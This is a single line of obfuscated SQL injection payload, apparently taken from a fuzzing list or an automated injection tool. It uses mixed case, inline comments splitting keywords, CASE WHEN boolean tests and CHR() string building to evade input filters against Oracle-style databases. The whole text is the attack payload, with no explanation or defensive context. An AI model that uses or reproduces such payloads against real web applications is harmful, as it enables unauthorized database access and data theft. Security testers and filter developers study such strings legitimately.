)(SELECT CASE WHEN 1=1 THEN ')) OR (1=1 OR (sElE/**/Ct (ca/**/sE W/**/hEn (7759 LIKE 7759) THeN nuLl elSE CAS/**/T((cHR(101)||cHR(119)||cHR(116)||cHR(104)) AS nU/**/mErIC) end)) IS nuLl ANd ((' END FROM DUAL WHERE 1 LIKE 1)xx/**/Lx(SELECT '=' FROM DUAL WHERE 1 LIKE 1)xx/**/Lx